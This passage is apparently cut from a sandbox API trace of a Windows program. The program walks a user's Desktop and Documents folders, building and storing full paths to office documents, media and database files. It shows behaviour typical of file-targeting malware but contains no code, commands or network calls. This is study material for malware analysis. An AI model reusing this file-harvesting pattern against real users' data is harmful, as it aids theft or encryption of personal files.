lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="M Py5Nq8" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\M Py5Nq8") returned="c:\\Users\\aETAdzjz\\Desktop\\M Py5Nq8" [0121.639] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.639] lstrcmpW (lpString1="Q6O2n7WwKPR.bmp", lpString2=".") returned 1 [0121.639] lstrcmpW (lpString1="Q6O2n7WwKPR.bmp", lpString2="..") returned 1 [0121.639] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.639] lstrlenW (lpString="Q6O2n7WwKPR.bmp") returned 15 [0121.639] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="Q6O2n7WwKPR.bmp" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\Q6O2n7WwKPR.bmp") returned="c:\\Users\\aETAdzjz\\Desktop\\Q6O2n7WwKPR.bmp" [0121.639] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\Q6O2n7WwKPR.bmp") returned 41 [0121.639] lstrcpyW (in: lpString1=0x24ab228, lpString2="c:\\Users\\aETAdzjz\\Desktop\\Q6O2n7WwKPR.bmp" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\Q6O2n7WwKPR.bmp") returned="c:\\Users\\aETAdzjz\\Desktop\\Q6O2n7WwKPR.bmp" [0121.639] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.639] lstrcmpW (lpString1="RL27mS.mkv", lpString2=".") returned 1 [0121.639] lstrcmpW (lpString1="RL27mS.mkv", lpString2="..") returned 1 [0121.639] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.639] lstrlenW (lpString="RL27mS.mkv") returned 10 [0121.639] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="RL27mS.mkv" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\RL27mS.mkv") returned="c:\\Users\\aETAdzjz\\Desktop\\RL27mS.mkv" [0121.639] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\RL27mS.mkv") returned 36 [0121.639] lstrcpyW (in: lpString1=0x24ab288, lpString2="c:\\Users\\aETAdzjz\\Desktop\\RL27mS.mkv" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\RL27mS.mkv") returned="c:\\Users\\aETAdzjz\\Desktop\\RL27mS.mkv" [0121.639] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.639] lstrcmpW (lpString1="Sa--KaU.pptx", lpString2=".") returned 1 [0121.639] lstrcmpW (lpString1="Sa--KaU.pptx", lpString2="..") returned 1 [0121.640] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.640] lstrlenW (lpString="Sa--KaU.pptx") returned 12 [0121.640] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="Sa--KaU.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\Sa--KaU.pptx") returned="c:\\Users\\aETAdzjz\\Desktop\\Sa--KaU.pptx" [0121.640] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\Sa--KaU.pptx") returned 38 [0121.640] lstrcpyW (in: lpString1=0x24ab2e0, lpString2="c:\\Users\\aETAdzjz\\Desktop\\Sa--KaU.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\Sa--KaU.pptx") returned="c:\\Users\\aETAdzjz\\Desktop\\Sa--KaU.pptx" [0121.640] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.640] lstrcmpW (lpString1="s_XSUWu8QQnZOg4V9zrx.mkv", lpString2=".") returned 1 [0121.640] lstrcmpW (lpString1="s_XSUWu8QQnZOg4V9zrx.mkv", lpString2="..") returned 1 [0121.640] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.640] lstrlenW (lpString="s_XSUWu8QQnZOg4V9zrx.mkv") returned 24 [0121.640] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="s_XSUWu8QQnZOg4V9zrx.mkv" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\s_XSUWu8QQnZOg4V9zrx.mkv") returned="c:\\Users\\aETAdzjz\\Desktop\\s_XSUWu8QQnZOg4V9zrx.mkv" [0121.640] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\s_XSUWu8QQnZOg4V9zrx.mkv") returned 50 [0121.640] lstrcpyW (in: lpString1=0x24a51a0, lpString2="c:\\Users\\aETAdzjz\\Desktop\\s_XSUWu8QQnZOg4V9zrx.mkv" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\s_XSUWu8QQnZOg4V9zrx.mkv") returned="c:\\Users\\aETAdzjz\\Desktop\\s_XSUWu8QQnZOg4V9zrx.mkv" [0121.640] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.640] lstrcmpW (lpString1="uTQTV2mVPN8RQx.ppt", lpString2=".") returned 1 [0121.640] lstrcmpW (lpString1="uTQTV2mVPN8RQx.ppt", lpString2="..") returned 1 [0121.640] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.640] lstrlenW (lpString="uTQTV2mVPN8RQx.ppt") returned 18 [0121.640] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="uTQTV2mVPN8RQx.ppt" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\uTQTV2mVPN8RQx.ppt") returned="c:\\Users\\aETAdzjz\\Desktop\\uTQTV2mVPN8RQx.ppt" [0121.640] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\uTQTV2mVPN8RQx.ppt") returned 44 [0121.640] lstrcpyW (in: lpString1=0x24ab338, lpString2="c:\\Users\\aETAdzjz\\Desktop\\uTQTV2mVPN8RQx.ppt" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\uTQTV2mVPN8RQx.ppt") returned="c:\\Users\\aETAdzjz\\Desktop\\uTQTV2mVPN8RQx.ppt" [0121.640] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.640] lstrcmpW (lpString1="U_x855jOMDYCkkuEDF4Y.jpg", lpString2=".") returned 1 [0121.640] lstrcmpW (lpString1="U_x855jOMDYCkkuEDF4Y.jpg", lpString2="..") returned 1 [0121.640] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.640] lstrlenW (lpString="U_x855jOMDYCkkuEDF4Y.jpg") returned 24 [0121.640] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="U_x855jOMDYCkkuEDF4Y.jpg" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\U_x855jOMDYCkkuEDF4Y.jpg") returned="c:\\Users\\aETAdzjz\\Desktop\\U_x855jOMDYCkkuEDF4Y.jpg" [0121.640] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\U_x855jOMDYCkkuEDF4Y.jpg") returned 50 [0121.640] lstrcpyW (in: lpString1=0x24a5210, lpString2="c:\\Users\\aETAdzjz\\Desktop\\U_x855jOMDYCkkuEDF4Y.jpg" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\U_x855jOMDYCkkuEDF4Y.jpg") returned="c:\\Users\\aETAdzjz\\Desktop\\U_x855jOMDYCkkuEDF4Y.jpg" [0121.640] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.640] lstrcmpW (lpString1="VYQMONSJuegc.mp3", lpString2=".") returned 1 [0121.640] lstrcmpW (lpString1="VYQMONSJuegc.mp3", lpString2="..") returned 1 [0121.640] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.640] lstrlenW (lpString="VYQMONSJuegc.mp3") returned 16 [0121.640] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="VYQMONSJuegc.mp3" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\VYQMONSJuegc.mp3") returned="c:\\Users\\aETAdzjz\\Desktop\\VYQMONSJuegc.mp3" [0121.640] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\VYQMONSJuegc.mp3") returned 42 [0121.640] lstrcpyW (in: lpString1=0x24ab3a0, lpString2="c:\\Users\\aETAdzjz\\Desktop\\VYQMONSJuegc.mp3" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\VYQMONSJuegc.mp3") returned="c:\\Users\\aETAdzjz\\Desktop\\VYQMONSJuegc.mp3" [0121.640] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.640] lstrcmpW (lpString1="w2L1Az-.m4a", lpString2=".") returned 1 [0121.640] lstrcmpW (lpString1="w2L1Az-.m4a", lpString2="..") returned 1 [0121.640] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.640] lstrlenW (lpString="w2L1Az-.m4a") returned 11 [0121.640] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="w2L1Az-.m4a" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\w2L1Az-.m4a") returned="c:\\Users\\aETAdzjz\\Desktop\\w2L1Az-.m4a" [0121.640] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\w2L1Az-.m4a") returned 37 [0121.640] lstrcpyW (in: lpString1=0x24ab400, lpString2="c:\\Users\\aETAdzjz\\Desktop\\w2L1Az-.m4a" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\w2L1Az-.m4a") returned="c:\\Users\\aETAdzjz\\Desktop\\w2L1Az-.m4a" [0121.640] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.640] lstrcmpW (lpString1="XLx9XFVUH.jpg", lpString2=".") returned 1 [0121.640] lstrcmpW (lpString1="XLx9XFVUH.jpg", lpString2="..") returned 1 [0121.640] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.640] lstrlenW (lpString="XLx9XFVUH.jpg") returned 13 [0121.640] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="XLx9XFVUH.jpg" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\XLx9XFVUH.jpg") returned="c:\\Users\\aETAdzjz\\Desktop\\XLx9XFVUH.jpg" [0121.641] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\XLx9XFVUH.jpg") returned 39 [0121.641] lstrcpyW (in: lpString1=0x24ab458, lpString2="c:\\Users\\aETAdzjz\\Desktop\\XLx9XFVUH.jpg" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\XLx9XFVUH.jpg") returned="c:\\Users\\aETAdzjz\\Desktop\\XLx9XFVUH.jpg" [0121.641] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.641] lstrcmpW (lpString1="ZgiD.png", lpString2=".") returned 1 [0121.641] lstrcmpW (lpString1="ZgiD.png", lpString2="..") returned 1 [0121.641] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.641] lstrlenW (lpString="ZgiD.png") returned 8 [0121.641] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="ZgiD.png" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\ZgiD.png") returned="c:\\Users\\aETAdzjz\\Desktop\\ZgiD.png" [0121.641] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\ZgiD.png") returned 34 [0121.641] lstrcpyW (in: lpString1=0x24ab4b0, lpString2="c:\\Users\\aETAdzjz\\Desktop\\ZgiD.png" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\ZgiD.png") returned="c:\\Users\\aETAdzjz\\Desktop\\ZgiD.png" [0121.641] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.641] lstrcmpW (lpString1="~$knzkjo.doc", lpString2=".") returned 1 [0121.641] lstrcmpW (lpString1="~$knzkjo.doc", lpString2="..") returned 1 [0121.641] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.641] lstrlenW (lpString="~$knzkjo.doc") returned 12 [0121.641] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="~$knzkjo.doc" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\~$knzkjo.doc") returned="c:\\Users\\aETAdzjz\\Desktop\\~$knzkjo.doc" [0121.641] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\~$knzkjo.doc") returned 38 [0121.641] lstrcpyW (in: lpString1=0x24ab500, lpString2="c:\\Users\\aETAdzjz\\Desktop\\~$knzkjo.doc" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\~$knzkjo.doc") returned="c:\\Users\\aETAdzjz\\Desktop\\~$knzkjo.doc" [0121.641] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.641] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.641] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.641] lstrcmpW (lpString1="Documents", lpString2=".") returned 1 [0121.641] lstrcmpW (lpString1="Documents", lpString2="..") returned 1 [0121.641] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0121.641] lstrlenW (lpString="Documents") returned 9 [0121.641] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Documents" | out: lpString1="c:\\Users\\aETAdzjz\\Documents") returned="c:\\Users\\aETAdzjz\\Documents" [0121.641] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\") returned="c:\\Users\\aETAdzjz\\Documents\\" [0121.641] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0121.641] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\*") returned="c:\\Users\\aETAdzjz\\Documents\\*" [0121.641] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Documents\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.641] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.641] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.642] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.642] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.642] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.642] lstrcmpW (lpString1="1af7s2.pdf", lpString2=".") returned 1 [0121.642] lstrcmpW (lpString1="1af7s2.pdf", lpString2="..") returned 1 [0121.642] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0121.642] lstrlenW (lpString="1af7s2.pdf") returned 10 [0121.642] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="1af7s2.pdf" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\1af7s2.pdf") returned="c:\\Users\\aETAdzjz\\Documents\\1af7s2.pdf" [0121.642] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\1af7s2.pdf") returned 38 [0121.642] lstrcpyW (in: lpString1=0x24ab570, lpString2="c:\\Users\\aETAdzjz\\Documents\\1af7s2.pdf" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\1af7s2.pdf") returned="c:\\Users\\aETAdzjz\\Documents\\1af7s2.pdf" [0121.642] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.642] lstrcmpW (lpString1="2SERkLWGvw2WR0dVkh.docx", lpString2=".") returned 1 [0121.642] lstrcmpW (lpString1="2SERkLWGvw2WR0dVkh.docx", lpString2="..") returned 1 [0121.642] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0121.642] lstrlenW (lpString="2SERkLWGvw2WR0dVkh.docx") returned 23 [0121.642] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="2SERkLWGvw2WR0dVkh.docx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\2SERkLWGvw2WR0dVkh.docx") returned="c:\\Users\\aETAdzjz\\Documents\\2SERkLWGvw2WR0dVkh.docx" [0121.642] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\2SERkLWGvw2WR0dVkh.docx") returned 51 [0121.642] lstrcpyW (in: lpString1=0x24a5280, lpString2="c:\\Users\\aETAdzjz\\Documents\\2SERkLWGvw2WR0dVkh.docx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\2SERkLWGvw2WR0dVkh.docx") returned="c:\\Users\\aETAdzjz\\Documents\\2SERkLWGvw2WR0dVkh.docx" [0121.642] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.642] lstrcmpW (lpString1="bnGTVm7.xlsx", lpString2=".") returned 1 [0121.642] lstrcmpW (lpString1="bnGTVm7.xlsx", lpString2="..") returned 1 [0121.642] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0121.642] lstrlenW (lpString="bnGTVm7.xlsx") returned 12 [0121.642] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="bnGTVm7.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\bnGTVm7.xlsx") returned="c:\\Users\\aETAdzjz\\Documents\\bnGTVm7.xlsx" [0121.642] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\bnGTVm7.xlsx") returned 40 [0121.642] lstrcpyW (in: lpString1=0x24ac558, lpString2="c:\\Users\\aETAdzjz\\Documents\\bnGTVm7.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\bnGTVm7.xlsx") returned="c:\\Users\\aETAdzjz\\Documents\\bnGTVm7.xlsx" [0121.642] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.642] lstrcmpW (lpString1="C40Oh8.xlsx", lpString2=".") returned 1 [0121.642] lstrcmpW (lpString1="C40Oh8.xlsx", lpString2="..") returned 1 [0121.642] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0121.642] lstrlenW (lpString="C40Oh8.xlsx") returned 11 [0121.642] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="C40Oh8.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\C40Oh8.xlsx") returned="c:\\Users\\aETAdzjz\\Documents\\C40Oh8.xlsx" [0121.642] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\C40Oh8.xlsx") returned 39 [0121.642] lstrcpyW (in: lpString1=0x24ab5c8, lpString2="c:\\Users\\aETAdzjz\\Documents\\C40Oh8.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\C40Oh8.xlsx") returned="c:\\Users\\aETAdzjz\\Documents\\C40Oh8.xlsx" [0121.642] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.642] lstrcmpW (lpString1="C9bf3zXlekmUcEs.pptx", lpString2=".") returned 1 [0121.642] lstrcmpW (lpString1="C9bf3zXlekmUcEs.pptx", lpString2="..") returned 1 [0121.643] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0121.643] lstrlenW (lpString="C9bf3zXlekmUcEs.pptx") returned 20 [0121.643] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="C9bf3zXlekmUcEs.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\C9bf3zXlekmUcEs.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\C9bf3zXlekmUcEs.pptx" [0121.643] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\C9bf3zXlekmUcEs.pptx") returned 48 [0121.643] lstrcpyW (in: lpString1=0x24a52f0, lpString2="c:\\Users\\aETAdzjz\\Documents\\C9bf3zXlekmUcEs.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\C9bf3zXlekmUcEs.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\C9bf3zXlekmUcEs.pptx" [0121.643] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.643] lstrcmpW (lpString1="Database1.accdb", lpString2=".") returned 1 [0121.643] lstrcmpW (lpString1="Database1.accdb", lpString2="..") returned 1 [0121.643] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0121.643] lstrlenW (lpString="Database1.accdb") returned 15 [0121.643] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="Database1.accdb" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\Database1.accdb") returned="c:\\Users\\aETAdzjz\\Documents\\Database1.accdb" [0121.643] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\Database1.accdb") returned 43 [0121.643] lstrcpyW (in: lpString1=0x24ac5b8, lpString2="c:\\Users\\aETAdzjz\\Documents\\Database1.accdb" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\Database1.accdb") returned="c:\\Users\\aETAdzjz\\Documents\\Database1.accdb" [0121.643] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.643] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0121.643] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0121.643] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0121.643] lstrlenW (lpString="desktop.ini") returned 11 [0121.643] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Documents\\desktop.ini" [0121.643] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\desktop.ini") returned 39 [0121.643] lstrcpyW (in: lpString1=0x24ab620, lpString2="c:\\Users\\aETAdzjz\\Documents\\desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Documents\\desktop.ini" [0121.643] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.643] lstrcmpW (lpString1="FQiUCeN.pptx", lpString2=".") returned 1 [0121.643] lstrcmpW (lpString1="FQiUCeN.pptx", lpString2="..") returned 1 [0121.643] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0121.643] lstrlenW (lpString="FQiUCeN.pptx") returned 12 [0121.643] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="FQiUCeN.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\FQiUCeN.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\FQiUCeN.pptx" [0121.643] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\FQiUCeN.pptx") returned 40 [0121.643] lstrcpyW (in: lpString1=0x24ac618, lpString2="c:\\Users\\aETAdzjz\\Documents\\FQiUCeN.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\FQiUCeN.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\FQiUCeN.pptx" [0121.643] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.643] lstrcmpW (lpString1="gU8x7JTYUiEeJlLB.docx", lpString2=".") returned 1 [0121.643] lstrcmpW (lpString1="gU8x7JTYUiEeJlLB.docx", lpString2="..") returned 1 [0121.643] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0121.643] lstrlenW (lpString="gU8x7JTYUiEeJlLB.docx") returned 21 [0121.643] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="gU8x7JTYUiEeJlLB.docx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\gU8x7JTYUiEeJlLB.docx") returned="c:\\Users\\aETAdzjz\\Documents\\gU8x7JTYUiEeJlLB.docx" [0121.643] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\gU8x7JTYUiEeJlLB.docx") returned 49 [0121.643] lstrcpyW (in: lpString1=0x24a5360, lpString2="c:\\Users\\aETAdzjz\\Documents\\gU8x7JTYUiEeJlLB.docx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\gU8x7JTYUiEeJlLB.docx") returned="c:\\Users\\aETAdzjz\\Documents\\gU8x7JTYUiEeJlLB.docx" [0121.643] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.643] lstrcmpW (lpString1="g_3izHwQ87.docx", lpString2=".") returned 1 [0121.643] lstrcmpW (lpString1="g_3izHwQ87.docx", lpString2="..") returned 1 [0121.643] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0121.643] lstrlenW (lpString="g_3izHwQ87.docx") returned 15 [0121.643] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="g_3izHwQ87.docx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\g_3izHwQ87.docx") returned="c:\\Users\\aETAdzjz\\Documents\\g_3izHwQ87.docx" [0121.643] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\g_3izHwQ87.docx") returned 43 [0121.643] lstrcpyW (in: lpString1=0x24ac690, lpString2="c:\\Users\\aETAdzjz\\Documents\\g_3izHwQ87.docx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\g_3izHwQ87.docx") returned="c:\\Users\\aETAdzjz\\Documents\\g_3izHwQ87.docx" [0121.643] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.643] lstrcmpW (lpString1="HP0A.pptx", lpString2=".") returned 1 [0121.643] lstrcmpW (lpString1="HP0A.pptx", lpString2="..") returned 1 [0121.643] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0121.643] lstrlenW (lpString="HP0A.pptx") returned 9 [0121.644] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="HP0A.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\HP0A.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\HP0A.pptx" [0121.644] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\HP0A.pptx") returned 37 [0121.644] lstrcpyW (in: lpString1=0x24ab678, lpString2="c:\\Users\\aETAdzjz\\Documents\\HP0A.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\HP0A.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\HP0A.pptx" [0121.644] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.644] lstrcmpW (lpString1="iy0BS-wZvFAPifst.xlsx", lpString2=".") returned 1 [0121.644] lstrcmpW (lpString1="iy0BS-wZvFAPifst.xlsx", lpString2="..") returned 1 [0121.644] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0121.644] lstrlenW (lpString="iy0BS-wZvFAPifst.xlsx") returned 21 [0121.644] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="iy0BS-wZvFAPifst.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\iy0BS-wZvFAPifst.xlsx") returned="c:\\Users\\aETAdzjz\\Documents\\iy0BS-wZvFAPifst.xlsx" [0121.644] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\iy0BS-wZvFAPifst.xlsx") returned 49 [0121.644] lstrcpyW (in: lpString1=0x24a53d0, lpString2="c:\\Users\\aETAdzjz\\Documents\\iy0BS-wZvFAPifst.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\iy0BS-wZvFAPifst.xlsx") returned="c:\\Users\\aETAdzjz\\Documents\\iy0BS-wZvFAPifst.xlsx" [0121.644] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.644] lstrcmpW (lpString1="jtfunIUKTuKB.rtf", lpString2=".") returned 1 [0121.644] lstrcmpW (lpString1="jtfunIUKTuKB.rtf", lpString2="..") returned 1 [0121.644] lstrlenW 